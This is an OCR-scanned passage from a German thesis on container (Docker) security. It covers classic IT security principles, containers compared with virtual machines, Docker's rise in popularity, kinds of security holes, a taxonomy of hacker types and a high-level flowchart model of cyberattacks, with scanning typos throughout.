notwendige Verzeichnisse zugreifen kann. Das gleiche Prinzip lasst sich auf Netzwerke
ausweiten. Je mehr Sicherheitsgrenzen existieren, desto schwerer kdnnen Angreifende ein
Ziel erreichen. [22]

Sicherheitsprinzipien. Es haben sich eine Reihe an Sicherheitsprinzipien etabliert, die
zur allgemeinen Sicherheit eines IT-Systems beitragen und gezielte Angriffe erschweren
konnen. Der Autor Klaus Pommerening formulierte Die 6 fundamentalen Sicherheitsprin-
zipien [30], die als Grundlage fiir die Diskussion der Ergebnisse dieser Arbeit dienen.

12



2.3 Sicherheitsgrenzen und Sicherheitsprinzipien 2 Grundlagen fiir die Untersuchungen

Definition 11 [, |7 /'] — Fehlervermeidung:
Um Fehler zu vermeiden ist ein planmaBiges Voorgehen erforderlich. Als hilfreich hat sich

erwiesen, alle Vorgange in Arbeitspakete zu unterteilen. Dabei eignen sich Werkzeuge aus
dem Projektmanagement, wie beispielsweise Phasenmodelle fiir Planung, Dokumentation,
Durchfiihrung, Kontrolle und Abnahme. Die Einhaltung von Normen und Standards
gewahrleistet eine problemfreie Zusammenarbeit mit anderen Akteuren und Techniken.
Die Programmbkorrektheit soll gewahrleisten, dass das Produkt die beabsichtigte Funk-
tionalitat erfillt, die urspringlich vorgesehen war und zuvor dokumentiert wurde. Die
Formale Verifikation nach |IEEE 610.12 ist ,der Beweis, dass ein Programm (P) alle als
Spezifikation (S) in einem Vorgabedokument geforderten Eigenschaften aufweist™ [31].
Die Verifikation dieser erfolgt mit den Mitteln der mathematischen Logik. Die formale
Verifikation erfordert zudem ,eine formale Definition von Syntax und Semantik der
fir P und S verwendeten Sprachen” [31]. Die Vermeidung von Nebeneffekten soll aus-
schlieBen, dass unbeabsichtigte Effekte auftreten, die Probleme oder Fehler verursachen
bzw. Sicherheitsliicken ergeben konnten. Die Konsistenz bezeichnet Korrektheit und
Widerspruchsfreiheit von Daten. Liegen Daten inkonsistent vor und kénnen Anwendungen
auf anderen Schichten (vgl. OSI-Schichten) nicht damit umgehen, sind schwerwiegende
Fehler moglich. AbschlieBend garantieren Qualitatssicherungs-MaBnahmen, dhnlich wie
im eingangs genannten Projektmanagement bzw. in Verbindung mit diesem, dass die
angestrebten und definierten QualitatsmaBstabe erreicht werden kdnnen. [30]

Definition 12 [, '? ] ] — Fehlertoleranz:
Eine Redundanz gewahrleistet bei einem Angriff oder Ausfall einzelner Komponenten
eines | T-Systems die weitere Verfiigbarkeit des Systems. Eine wesentliche Herausfor-

derung dabei ist die Konsistenz der Daten zu gewéhrleisten. Eng damit verbunden

ist Ausfallsicherheit, die beispielsweise mit Fehleriiberbriickungen, Plattenspiegelungen,
Mehrprozessorsystemen oder sicheren Riickfallpositionen einen kompletten Ausfall des
IT-Systems oder einzelner Dienste verhindern soll. Der Wiederanlauf mit Backups oder
Ausweichsystemen dient bei einem schwerwiegenden Fehler dazu, eine schnelle Wieder-
verfigbarkeit des IT-Systems aufbauen zu kénnen. Die Plausibilitdtskontrollen beziehen
sich auf unterschiedliche Bereiche (z. B. Hardware, Software, Benutzereingaben). Dabei
werden alle Werte darauf lberpriift, ob sie erwartete, definierte und erlaubte Ergeb-
nisse darstellen. In der Katastrophenvorsorge werden Plane und Strategien erarbeitet,
um bei schwerwiegenden Fehlern oder Angriffen schnell und koordiniert reagieren zu
konnen. Diese sollte mindestens Hardwareneubeschaffung sowie Datensicherungs- und
Wiederherstellungsplane umfassen. [30]

Definition 13 [/, 1" ] — Sparsamkeit:

Die Komplexitatsvermeidung beschrankt Funktionen. Hierbei ist sich an der Notwendigkeit
der Funktionalitaten zu orientieren. Alle nicht notwendigen Funktionen und Schnittstellen
sind zu vermeiden, auch wenn diese funktionieren (Minimalsystem). Das Prinzip der
Minimalen Rechte besagt, dass Berechtigungen nur dann vergeben werden sollten, wenn
diese zwingend notwendig sind. Jedes Programm und jede Person sollte demnach nur auf
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die Funktionen und Daten einen Zugriff erhalten, die zur Erfillung der jeweiligen Aufgaben
unbedingt benétigt werden. In Geschlossenen Systemen sind bei der Anwendung der
genannten Prinzipien zudem nur definierte Schnittstellen zulassig. Die Wiederaufbereitung
dient zum restlosen Entfernen jeglicher Riickschliisse auf ein System oder die Daten, in
dem beispielsweise der Arbeitsspeicher vor der Freigabe und Festplatten vor dem Verkauf
oder der Entsorgung sichere Léschmethoden zur Anwendung kommen. [30]

Definition 14 [, '? | ] — Kapselung:

Die Objekte sollten sich gegenseitig Misstrauen und Datenobjekte selbst verwalten. Bei
der Modularisierung sind Unabhangigkeit, Schichtung, Abschirmung und selbststandige
Dienste wesentliche Prinzipien. Das Client-Server-Prinzip besagt, dass Server als eigene
Prozesse gestartet werden sollten. Die Trennung von Daten und Programmen erschwert
bei einem Angriff auf ein Programm den unmittelbaren Zugriff auf die Daten. Bei der
Funktionstrennung geht es, ahnlich wie bei der Sparsamkeit, um die Trennung von Funk-
tionen fiir das Personal. Dabei sollten Nutzende keine administrativen Berechtigungen
erhalten. Die Vertrauenskonzentration beschrankt das Vertrauen in offenen Netzwerken
wie dem Internet auf wenige Inseln. Eine Informationsflusskontrolle dokumentiert und
iberwacht alle Wege, lber die Informationen und Daten iibertragen werden. [30]

Definition 15 [/, '° | ] — Bewusstheit:

In der Bewusstheit geht es um Kontrolle, Motivation, Gefahrenbewusstsein und Schulung
von Personal. Dabei sollen Personen ihren Zugriff eigenstandig kontrollieren konnen,
beispielsweise durch Authentifizierung mittels Name und Kennwort. In Verbindung
mit einer Zwei-Wege-Authentifizierung kann die Sicherheit erhoht werden. Damit soll
keine andere Person die fiir diesen Zugriff bestimmten Funktionen nutzen konnen.
Die Motivation und das Gefahrenbewusstsein kann durch Schulungen geschaffen und
aufgebaut werden, ohne dabei das Personal zu verunsichern. Zur Motivation kann auch
ein Single Sign-on (SSO) beitragen. [30]

Definition 16 [/, |/ | ] — Uberwachung:

In der Uberwachung geht es ebenfalls um Kontrolle. In diesem Zusammenhang jedoch

nicht ,,durch”, sondern ,iiber” die Person durch einen festgelegten Zugriff. Die Revisi-
onsfihigkeit gewahrleistet die Nachvollziehbarkeit von Anderungen am System und an
den Daten. Die Beweissicherung und Protokollierung durch beispielsweise Monitoring,
Logging, Accountin oder Auditing dient dazu, potenzielle Angriffe und Ausfalle zeitnah
erkennen oder nachtraglich aufklaren zu konnen. Ein Vieraugenprinzip erhoht die Ver-
trauenswiirdigkeit und verringert die Wahrscheinlichkeit von menschlichen Fehlern. [30]
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2.4 Containervirtualisierung

In dieser Arbeit wird Container-Infrastruktur als Begriff definiert, der die Anwendung von
Containervirtualisierungen zur Umsetzung ganzer IT-Infrastrukturen beschreibt. Hierbei
wird ausschlieBlich Docker als Freie Software fiir Containervirtualisierung beriicksichtigt.

Als Hostcomputer (Host) wird die zugrundeliegende Hardware und das Host-Betriebssystem
bezeichnet, worauf die Containervirtualisierung in Form von der Container-Engine aufbaut.
Bei der Hardware kann es sich beispielsweise um einen herkdmmlichen Desktop-Computer,
einen virtuellen oder physischen Server handeln (siehe Abb. 2.1, Seite 15).

Traditionell Hypervisor Container

Anwendung Anwendung Anwendung

Bibliotheken Bibliotheken Bibliotheken
Bibliotheken

Gast-Betriebssystem Gast-Betriebssystem Bibliotheken

Virtuelle Maschine Virtuelle Maschine Container Container Container

Hypervisor-Engine Container-Engine
Host-Betriebssystem Host-Betriebssystem

Abb. 2.1 Traditionell, Hypervisor und Container in Gegeniiberstellung (Beispiele) [, ]

Bibliotheken

Host-Betriebssystem  Kernel

Bei einer Virtualisierung mit Virtuellen Maschinen mittels Hypervisor miissen alle Instan-
zen einzeln administriert werden, wodurch sich ein hoher Verwaltungsaufwand ergeben
kann. Zudem benétigt jede VM immer auch mindestens ein minimales Betriebssystem.
Bei vielen Microservices werden somit auch mehr Systemressourcen verbraucht, da fir
jeden Dienst ein eigenes Betriebssystem notwendig ist.

Mittels der Virtualisierung mit Containern sind Anwendungen und dessen Abhangigkeiten
voneinander isolierbar. Hierfiir ist kein eigenes Betriebssystem notwendig. Zudem konnen
komplexe Anwendungen, die nicht monolithisch sind, in kleine trennbare Einheiten
modularisiert werden, wodurch eine feingranulare Skalierbarkeit und Kontrollierbarkeit
erreicht wird. Diese Einheiten werden auch von Microservices genannt. Damit ist in diesem
Punkt die Containervirtualisierung einer VM und klassischen Diensten (iberlegen.

Heute kann fiir die Verwaltung und Verteilung von containerbasierten Anwendungen
auf ein Cluster von Servern zuriickgegriffen werden, das die entsprechenden Images
bereitstellt. Dieser Prozess wird durch Orchestratoren wie Kubernetes automatisiert.
Damit muss eine Anwendung nicht mehr manuell auf dem Host installiert werden.
Dem Orchestrator wird nur noch der auszufilhrende Container mitgeteilt, der danach
automatisch geladen und gestartet wird. [22]
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2.4.1 Vor- und Nachteile

Neben den Unterschieden zwischen der Virtualisierung mit Virtuellen Maschinen und
Containern (siehe Abschnitt 2.4, Seite 15), kénnen Entwicklungen in Verbindung mit
einer integrierten Entwicklungspipeline und durch Konsolidierung von Anwendungskom-
ponenten beschleunigt werden. Das bietet verschiedene Vor- und Nachteile.

Vorteile. Der Vorteil von Containern liegt in der Biindelung von Abhangigkeiten.
Dadurch muss die jeweilige Anwendung nur einmal erzeugt werden und ist anschlieBend
auf jedem unterstiitzten System ausfiihrbar. Die Anwendung wird vom Rest des jeweiligen
Host, auf dem sie gestartet wird, isoliert. In einem Container befinden sich somit alle
Abhangigkeiten, die von der Anwendung fiir die Ausfilhrung benétigt werden. [22]

Ein weiterer Vorteil der Isolation von Abhangigkeiten ist, dass verschiedene Container
gleichzeitig ausgefiihrt werden konnen, ohne dass diese sich gegenseitig storen. Da die
Container bereits alles beinhalten, was Anwendungen zur Ausfiihrung bendtigen, konnen
diesen jeweils auch unterschiedliche Versionen derselben Pakete beigelegt werden.

Eine Losung fiir das Problem ohne Containervirtualisierung ware, die Anwendungen
jeweils auf separaten Maschinen auszufiihren. Mit Hilfe von Containern konnen die
Abhangigkeiten voneinander isoliert und mehrere Anwendungen auf einem Host ausgefiihrt
werden, ohne Vorkehrungen zur Trennung der Abhangigkeiten treffen zu miissen. Dabei
ist unerheblich, ob es sich um einen virtuellen oder physikalischen Host handelt. [22]

Nachteile. Ein unmittelbares Risiko von Containervirtualisierung stellen die Contai-
nerausbriiche dar (siehe Unterabschnitt 3.5.4, Seite 68). Zwar werden Abhangigkeiten
innerhalb von Containern voneinander isoliert, jedoch teilen sich Host und Container
einen gemeinsamen Kernel (siehe Vektor 25, Seite 70).

Sollte im Rahmen einer Softwareaktualisierung der Container-Engine oder des Orchestra-
tors ein Neustart dieser Komponenten notwendig werden, sind die jeweiligen Container
gegebenenfalls ebenso betroffen. Hierbei sollte vorab gepriift werden, inwiefern sich
wenigstens Sicherheitsaktualisierungen ohne einen Neustart installieren lassen konnen.
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2.4.2 Verbreitung und relatives Interesse

Je attraktiver ein Ziel ist, desto mehr Ressourcen lohnt es sich zu investiert, um das
begehrte Ziel zu erreichen [8]. Dabei lassen sich verschiedene Motivationen feststellen,
die in unterschiedliche Arten klassifiziert werden kénnen (siehe Definition 18, Seite 22).
Es wird aufgezeigt, wie sich die Popularitat der Containervirtualisierung entwickelt hat
und wie sich das auf die Motivation von Angriffen auswirken konnte.

Der Autor Rice stellte in einem im Jahr 2020 veroffentlichen Buch fest, dass ,,in den
letzten Jahren" [22] der Einsatz von Containern explodiert sei. Die Konzepte zu Container-
Losungen habe es ,,schon viele Jahre vor Docker gegeben" [22], die meisten Beobachter
seien sich aber einig, dass es die intuitiv zu bedienenden Kommandozeilen-Tools von
Docker waren, die Container im Umfeld von Entwicklungsteams seit dem Start im Jahr
2013 popular gemacht haben.

Mit Daten von Google Trends® wurde das relative Interesse’ zu den Suchbegriffen®
Containervirtualisierung (siehe Abb. 2.2, Seite 18) und Docker (siehe Abb. 2.3, Seite 18)
im Zeitraum von Januar 2004° bis September 2021 ausgewertet. Dabei konnte festgestellt
werden, dass spatestens ab Juli 2013 das relative Interesse am Suchbegriff Docker zunahm.
Das Projekt Docker startete vier Monate zuvor im Marz 2013 [33]. Das relative Interesse
zum Suchbegriff Containervirtualisierung nahm vor der Einfiihrung von Docker leicht ab
und schwankt seit Anfang 2011 innerhalb eines etwa gleichbleibendem Niveaus.

® In einer im Juni 2020 veréffentlichen Studie [20] wurden Auftreten, AusmaB und Muster systematischer
Inkonsistenzen in Google Trends Daten untersucht. Es sei dabei deutlich geworden, dass ,Widerspriiche
systematisch in Google Trends Daten auftreten und insbesondere bei Analysezeitrdumen von weniger
als acht Monaten oft so stark ausfallen, dass sie Analysen stark verfalschen kénnen” [20]. Die
Argumente von Google, dass die entsprechenden Defizite auf geringe Suchvolumina zuriickzufiihren
seien, wiirden zu kurz greifen. Der Zusammenhang zwischen Suchvolumen und Datenqualitat sei
signifikant, wiirde jedoch , bestenfalls die Halfte der Widerspriiche in den Daten" [20] erkléren und
Ltrifft nicht auf alle Suchbegriffe gleichermaBen® [20] zu. Der Studie zur Folge sollten Daten aus
Google Trends fiir keine Entscheidungen herangezogen werden [20]. Fiir die dargestellten Daten von
Google Trends konnten keine in der Studie beschriebenen Inkonsistenzen beobachtet werden. Die
Daten dienen als Indikatoren, die fiir keine Entscheidungen relevant sind.
»Die Werte geben das Suchinteresse relativ zum hdchsten Punkt im Diagramm fiir die ausgewahlte
Region im festgelegten Zeitraum an. Der Wert 100 steht fiir die hochste Beliebtheit dieses Suchbegriffs.
Der Wert 50 bedeutet, dass der Begriff halb so beliebt ist und der Wert 0 bedeutet, dass fiir diesen
Begriff nicht geniigend Daten vorlagen.” [32]
Der Suchbegriff Docker ergibt in der Suchmaschine von Google iiberwiegend Suchtreffer zur Contai-
nervirtualisierungslésung des gleichnamigen Unternehmens Docker Inc. mit Sitz in Palo Alto. Der
Suchbegriff Container alleine lieferte keine aussagekraftigen Ergebnisse. Weder bei der Suche in Kate-
gorie Thema, noch in Software. Der Begriff Container tritt in vielerlei Kontexten auf, beispielsweise
Miillcontainer, Schiffscontainer (ISO-Container) oder Kiihlcontainer.
9 Das Projekt Docker startete im Jahr 2013. Um die zeitlichen Verlaufe der gewéhlten Suchbegriffe
gegenliber legen und optisch vergleichen zu kdnnen, wurde jeweils der gleiche Zeitraum gewahlt.
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Abb. 2.2 Interesse (relativ) an Containervirtualisierung im zeitlichen Verlauf’ [34] [, ]
Daten von 01/2004 bis 09/2021; relatives Interesse von Containervirtualisierung [online] [34].

Bis Ende 2009 unterlag das relative Interesse am Suchbegriff Containervirtualisierung starken Schwan-
kungen. Ab dem Jahr 2010 nahm das relative Interesse leicht ab und stagniert seitdem auf einem etwa
gleichbleibendem Niveau mit immer wieder leichten Schwankungen.

Hinweis

Abb. 2.3 Interesse (relativ) an Docker im zeitlichen Verlauf’ [35] [\! ]
Daten von 01/2004 bis 09/2021; relatives Interesse von Docker [online] [35].

Laut Google Trends ist seit Juli 2013 ein stetiger Anstieg am relativen Interesse des Suchbegriffs Docker
zu verzeichnen gewesen. Im Juli 2019 war das relative Interesse mit dem Wert 100 erstmals am groBten.
Von August bis Dezember 2020 war der Trend stark riicklaufig gewesen. Anfang 2021 stieg der Trend
wieder leicht an.

Der Riickgang am relativen Interesse des Suchbegriffs Containervirtualisierung und der
Anstieg von Docker lassen, ohne weitere Daten hinzuzuziehen, noch keine Riickschliisse
zu. Der rasante und stetige Anstieg zum relativen Interesse des Suchbegriffs Docker
konnte jedoch die Aussage des Autors Rice bestatigen.

Zwar nahm das relative Interesse von August bis Dezember 2020 stark ab, jedoch kénnten
bis dahin bereits zahlreiche IT-Systeme auf Grundlage von Docker implementiert worden
sein. Diese Abnahme ist daher nicht zwingend auch ein Indikator dafiir, dass keine
weiteren |T-Infrastrukturen basierend auf Docker in Betrieb genommen werden.

Auf Grundlage dieser Daten wird die Annahme getroffen, dass Docker ein attraktives
Ziel fiir Cyberangriffe darstellt.
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2.4.3 Sicherheitsliicken und Sicherheitsperspektive

Es kann zwischen einer vorhandenen und bekannten Sicherheitsliicke unterschieden
werden. In der Risikoanalyse findet diese Unterscheidung keine Beriicksichtigung, da eine
vorhandene, aber unbekannte Sicherheitslicken nicht messbar ist. Eine vorhandene und
unbekannte Sicherheitsliicke alleine kann theoretisch solange als unschadlich gelten, bis
nicht mindestens eines der folgenden Ereignisse eintritt:

1. eine Person erlangt Kenntnis iiber die Sicherheitsliicke: vorhanden = bekannt,
2. ein automatisierter Angriff'® erkennt und nutzt die Sicherheitsliicke aus oder
3. durch die Sicherheitsliicke entsteht einen Fehler mit unerwarteten Auswirkungen'!

Diese Auflistung erhebt keinen Anspruch auf Vollstandigkeit. Weitere Ereignisse sind
denkbar. Trotz der theoretischen Unschadlichkeit von nicht vorhandenen Sicherheitsliicken
sollten regelmaBige MaBnahmen gewahrleisten, dass die Entstehung dieser verhindert
werden und so IT-Infrastrukturen dauerhaft als sicher gelten kénnen. Hierbei sind auch
beispielsweise umfangreiche Softwaretests, Reverse Engineering, Schwachstellenanalysen
und Penetrationstests, Schulungen, Weiterbildungen oder Ausschreibungen fiir die Analyse
von Quelltext und IT-Infrastrukturen denkbar.

Es gibt Sicherheitsliicken, die erst aufgrund anderer Sicherheitsliicken oder wahrend
des technologischen Fortschritts relevant werden (siehe Bemerkung 1.1, Seite 34). Mit
Forschungsarbeiten lassen sich mogliche Entwicklungen friihzeitig erkennen und die
Entstehung potenzieller Sicherheitsliicken abschatzen.

Unter der Annahme, dass mit zunehmender Verbreitung eines Produktes die Anzahl
der bekannten Sicherheitsliicken steigt, werden diese Produkte haufiger von Sicherheits-
fachleuten und kriminellen Personen auf mogliche Sicherheitsliicken untersucht. Das
konnte auf ein gesteigertes Interesse aufgrund der jeweiligen Motivationen beruhen
(siehe Definition 18, Seite 22). Aus dem Entdecken und SchlieBen solcher Sicherheits-
licken kann nicht abgeleitet werden, dass bekannte Produkte automatisch sicherer sind.
Wenn zu einem Zeitpunkt keiner einzigen Person eine Sicherheitsliicke bekannt sein
sollte, bedeutet das nicht gleichzeitig, dass keine Sicherheitsliicken vorhanden sind. Mit
steigender Bekanntheit eines Produktes werden bei guter Pflege haufig auch mehr Sicher-
heitsupdates veroffentlicht. Durch eine steigende Anzahl an kritischen Untersuchungen
werden wahrscheinlicher vorhandene Sicherheitsliicken entdeckt. Mit dem Hinzufiigen
von Programmerweiterungen konnen jedoch wieder neue Sicherheitsliicken hinzukommen
und spater bekannt werden. Das bedeutet, dass mit zunehmender Bekanntheit eines
Produkts auch mit haufigeren Updates gerechnet werden kann.

10 Beispielsweise durch Anwendung von Fuzzing (Technik fiir Softwaretests) als Angriffstechnik.
11 Beispielsweise kann sich ein Fehler im Programmablauf auf das Programm selbst, das Betriebssystem,
die zu verarbeitenden Daten oder die gesamte Infrastruktur auswirken.
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Ein denkbarer Grund fiir einen niedrigen Bekanntheitsgrad von Software konnte sein, dass
diese nur auf vereinzelten speziellen Systemen genutzt wird. Unter Fachleuten kdnnten
dann keine Sicherheitsliicken bekannt sein, was nicht bedeutet, dass keine vorhanden sind.
Es kann jedoch die Wahrscheinlichkeit geringer sein, dass vorhandene Sicherheitsliicken
bekannt werden, wenn nur eine unzureichende Anzahl an Fachleuten oder Kriminellen
die jeweilige Hardware, Software oder Infrastruktur untersuchen. Bei Open Source kann
sich ein triigerisches Sicherheitsgefiihl ergeben, da diese Produkte nicht automatisch
sicherer sind oder vor gezielten Angriffen schiitzen konnten.

Zusammenfassend kann festgestellt werden, dass grundlegende SicherheitsmaBnahmen
unabhangig von der Verbreitung eines Produktes fiir jedes schiitzenswertes System gelten
sollten, welches ein MindestmaB an Sicherheit gewahrleisten soll. In der Risikoanalyse
sollte besonders beriicksichtigt werden, wie die Attraktivitat eines Angriffs einzuschatzen
ist, indem auch die Auswirkungen einbezogen werden, beispielsweise den Wert der Daten
(z.B. die Annahme, dass Gesundheitsdaten wertvoll sind und sich entweder nutzen
oder verkaufen lassen) oder den Ausfall eines Systems (z. B. die Annahme, dass ein
verursachter dreistiindiger Stromausfall eines Reifenherstellers dessen gesamte Anlage
zerstort, da abgekiihltes Gummi die Maschinen irreparabel verklebt).

Sicherheitsperspektive. Aus der Sicherheitsperspektive heraus ist die (iberwiegende
Anzahl an Aspekten bei einer Containervirtualisierung ahnlich oder sogar gleich wie
bei einer traditionellen Bereitstellung [22]. Die Containervirtualisierung als Software
ist auf dem Host installiert. Dabei werden Ressourcen vom Host bereitgestellt und je
nach Konfiguration kann eine Container-Instanz tiefgreifende Systemberechtigungen
erhalten. Deshalb sollten beispielsweise das Host-Betriebssystem gepflegt und gehartet,
ein Schnittstellenmanagement eingerichtet, Zugriffskontrollen umgesetzt und Personal-
schulungen durchgefiihrt werden. Durch die Nutzung einer zusatzliche Software (z. B.
Docker) miissen weitere Faktoren (z. B. Absicherung und Pflege der Containervirtualisie-
rungssoftware) beriicksichtigt werden, jedoch kénnten damit bei korrekter Umsetzung
gleichzeitig zusatzliche Sicherheitsgrenzen (siehe Definition 10, Seite 12) entstehen.

Die Motivation fiir Angriffe auf IT-Systeme kann aus verschiedenen Griinden erwachsen.
Beispielsweise das Erbeuten wertvoller Daten, das Verandern des Verhaltens eines Systems
oder das Nutzen fremder Systemressourcen (z. B. zum Versenden von Spam, schiirfen
von Kryptowahrungen oder rechenintensiven Entschliisseln). Durch die Nutzung von
Containern lasst sich dieser Motivation nicht entgegen wirken und es ergeben sich
trotz der Vorteile auch Risiken aus der Art und Weise, wie diese containerbasierten
Anwendungen aufgebaut sind und funktionieren.
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2.5 Cyberangriffe und Schadsoftware

Dieser Abschnitt grenzt Cybercrime von anderen Phianomenbereichen ab und fiihrt in
die Angriffsmotivation ein. Der mogliche Ablauf gezielter Angriffe wird dargestellt.

Definition 17 [, '° | ] — Cybercrime:

Cybercrime umfasst alle Straftaten, ,die sich gegen das Internet, Datennetze, informati-
onstechnische Systeme oder deren Daten richten” (Cybercrime im engeren Sinne) oder
,die mittels Informationstechnik begangen werden" (Cybercrime im weiteren Sinne). [36]

Bemerkung 17.1 — Cyberwar: Im Cybercrime sind stetig wachsende Bedrohungen
durch Schadsoftware zu beobachten, wie die Ausnutzbarkeit bekannter Sicherheitsliicken
aufgrund von Programmier- oder Konfigurationsfehler [9]. Die Dimensionen des Cyber-
kriegs (Cyberwar), in dem Staaten oder Militérs in kriegerischer Auseinandersetzung
involviert sein konnen, wiirden bei einer Betrachtung den Rahmen dieser Arbeit sprengen.

Bemerkung 17.2 — Bedrohungen: Im Jahr 2020 dominierte Ransomware!? als groB-
te Bedrohung im Bereich der Schadsoftware [10]. Das BKA warnt regelmaBig, den
Losegeldaufforderungen nicht nachzukommen, um Angreifende nicht zu motivieren. [9]

Bemerkung 17.3 — Angriffserkennung und -abwehr: Zum automatischen Erkennen
und Protokollieren von Angriffen kann ein Intrusion Detection System eingesetzt werden
oder ein Intrusion Prevention System, das zusatzlich die erkannten Angriffe sofort
abwehren und iiber dessen Status benachrichtigen kann.

Bemerkung 17.4 — Computerwurm Stuxnet: Um die Moglichkeiten von Cyberan-
griffen in Verbindung mit hochspezialisierter Schadsoftware deutlich zu machen, wird an
dieser Stelle beispielhaft Stuxnet genannt. Das Sabotageprogramm wurde im Jahr 2010
entdeckt und diente zur Stérung und Zerstorung von tausenden Zentrifugen iranischer
Atomanlagen. Die Entwicklungskosten haben mehreren hundert Millionen Dollar betragen.
Die Auftraggebenden und das Programmierteam sowie alle weiteren beteiligten Personen
seien bis heute unbekannt. Stuxnet war in der Lage solche Ziele anzugreifen, die nicht mit
dem Internet verbunden waren. Die Infizierung habe dabei iiber Softwareaktualisierungen
der sogenannten Supervisory Control and Data Acquisition (SCADA) mittels infizierter
USB-Sticks stattgefunden. [37, 38]

12 Dabei handelt es sich um Software, die einzelne Dateien oder ganze Datentriger verschliisseln und
anschlieBend durch Angreifende zur Zahlung von Lésegeld aufgefordert wird.
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2.5.1 Angriffsmotivation

Die Methoden und Motivationen der an einem Angriff beteiligten Personen zu kennen
ist hilfreich, um die Sicherheit der eigenen IT-Systeme verbessern zu kénnen.

,Von massiven Ransomware-Angriffen, die ganze Unternehmen und Stadte
zum Erliegen gebracht haben, bis zu schweren Datenlecks, bei denen
Millionen von Kundendaten offen gelegt wurden: Cyberangriffe sind in aller
Munde, aber iiber die Hacker selbst erfahrt man kaum etwas” [39]

Schlagzeilen wie diese kdnnen die Aufmerksamkeit auf sich ziehen und Angst verursachen.
Werden die Ereignisse der vergangenen 50 Jahre betrachtet lasst sich jedoch feststellen,
dass Angriffe Giber und auf Computernetzwerke zunehmen [9]. Durch die voranschreitende
Digitalisierung werden zunehmend mehr Gerate vernetzt und Umstande wie die Corona-
Pandemie konnen zudem auch einen unvorhersehbaren Anstieg bestimmter Bedrohungen
verursachen [10]. Im Laufe der Zeit haben sich die primar vorherrschenden Methoden
und Motivationen von Angreifenden immer wieder verandert. Die weniger komplexen
Computerviren wurden durch umfangreiche Cyberangriffe ersetzt.

Definition 18 [ 7 ] ] — Arten von Hacking, Methoden und Motivationen:
In Verbindung mit dem sogenannten Hacken (engl. Hacking) existieren verschiedene
Methoden und Motivationen. Diese lassen sich Arten des Hackings Abb. 2.4 bzw. Arten
von Hackern und Haecksen (siehe Art 18.1 bis Art 18.7, Seite 23) eingliedern. Als
Hacker (mannlich) oder Haeckse (weiblich) werden in der urspriinglichen Bedeutung die
Tiftler oder Bastlerinnen bezeichnet, die durch Experimente die Grenzen des Machbaren
erkunden [40]. Die Aktivitat wird Hacken und das Ergebnis ein Hack genannt.

Arten von Hacking

White-Hat-Hacker Black-Hat-Hacker m Staatliche Hacker

Spionage-Hacker

y
Whistleblower

Scriptkiddies

Green-Hat-Hacker

Cyber-Terrorisierende

Abb. 2.4 Arten von Hacking (Beispiele) [VTZ]
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Art 18.1 — White-Hat-Hacker: Legal agierende Computersicherheitsfachleute. [39]
Methoden: z.B. Social Engineering, Schwachstellenanalysen, Penetrationstests
Motivation: z. B. Technologiebegeisterung oder Sicherheitsverbesserung

Art 18.2 — Black-Hat-Hacker: lllegale agierende Computersicherheitsfachleute. [39]
Methoden: z.B. Social Engineering, Schadsoftware, Cyberangriff, Cybercrime
Motivation: z. B. Technologiebegeisterung oder Bereicherung

Unterart 18.2.1 — Grey-Hat-Hacker: lllegal agierende Computersicherheitsfachleute,
die ihre Fahigkeiten nicht zum persénlichen Vorteil einsetzen. [39]

Methoden: z.B. siehe 18.1 White-Hat-Hacker und 18.2 Black-Hat-Hacker

Motivation: z. B. siehe 18.1 White-Hat-Hacker

Unterart 18.2.2 — Scriptkiddies: Abwertend fiir Black-Hat-Hacker, die Programme
verwenden, um Netzwerke anzugreifen und Schaden anzurichten. [39]

Methoden: z.B. Programme, Skripte, Internetrecherchen, Manipulationen

Motivation: z. B. Bekanntheit oder Bereicherung

Unterart 18.2.3 — Green-Hat-Hacker: Scriptkiddies, die neugierig/lernwillig sind
und White-Hat-Hacker, Black-Hat-Hacker oder Grey-Hat-Hacker werden konnten. [39]

Art 18.3 — Hacktivists: Verfolgen die Durchsetzung sozialer Veranderungen. [39]
Methoden: z.B. Bereitstellung von Verschliisselung, Anleitungen zur Zensurumgehung
Motivation: z. B. Verbrechensaufdeckung, Religion, Freiheits- oder Gerechtigkeitsbediirfnis

Art 18.4 — Staatliche Hacker: Agieren mit unbeschrankten Mitteln fiir Geheimdienste
oder Militérs und greifen Zivilpersonen, Unternehmen oder Regierungen an. [39]
Methoden: z.B. siehe White-Hat-Hacker, Black-Hat-Hacker oder Grey-Hat-Hacker
Motivation: z. B. Politik, Frieden, Macht oder Unterdriickung

Art 18.5 — Spionage-Hacker: Von Unternehmen beauftragte Hacker, um Geheimnisse

bei Konkurrenzfirmen zu erbeuten. [39]
Methoden: z.B. siehe Black-Hat-Hacker, Hacktivists, Arbeitsvertrage
Motivation: z. B. Kundenziele oder Bereicherung

Art 18.6 — Whistleblower: Person innerhalb einer Organisationen, die durch Zugriff

auf Systeme vertrauliche Informationen offen legt, von denen sie glaubt, dass diese nicht
geheim bleiben sollten. [39]

Art 18.7 — Cyber-Terrorisierende: Im Cyberraum die gefahrlichsten Akteure, da sie
iber umfangreiche Fahigkeiten und Ziele verfiigen. [39]

Methoden: z.B. KRITIS lahmlegen, Angst und Chaos verbreiten

Motivation: z. B. Religion oder Politik
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2.5.2 Angriffsmodell

Mit einem Ablaufdiagramm wird eine mogliche Vorgehensweise von Angriffen auf
IT-Systemen im Bereich des Cybercrime dargestellt.

Definition 19 [, ?° | ] — Angriffsmodell fiir Cybercrime:
In dieser Arbeit wird von einem beispielhaften Modell fiir Cyberangriffe auf IT-Systeme

im Phanomenbereich des Cybercrime ausgegangen (siehe Abb. 2.5, Seite 24).

Angriff initiiert

Informationen gewinnen

Angriffsvektoren
Informationen gewinnen

Zugriff erzwingen

Angriffsvektoren
Zugriff erzwingen
nein

weitere
Informationen erfolgreich?
ja notwendig? nein

Ja

Privilegien ausbauen

Angriffsvektoren
Privilegien ausbauen
nein nein nein

weitere weitere weitere
Zugriffe erfolgreich? Zugriffe - Informationen
notwendig? notwendig? notwendig?

nein
ja

MaBnahmen durchfihren

Angriffsvektoren
MaRnahmen durchfithren

nein nein nein

weitere weitere weitere
Privilegien erfolgreich? - Privilegien - Informationen -
notwendig? - nein notwendig? Ja notwendig? ja
ja
Spuren verwischen Legende:

Beginn/Ende

I Angriffsvektoren
Spuren verwischen A :
nein P Tatigkeit/Operation
weitere Angriffsvektor
N MaBnahmen - erfolgreich? Unterprogramm
Ja notwendig? nein -
ja

Angriff beendet

Richtungsangabe

Abb. 2.5 Angriffsmodell fiirr Cybercrime (Beispiel) [A”hiA'l] [VTZ]

VergroBerung siehe Anhang A, Seite A-76. Symbole nach DIN 66001.
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Tatigkeit 19.1 — Informationen gewinnen: Angreifende gewinnen alle notwendigen
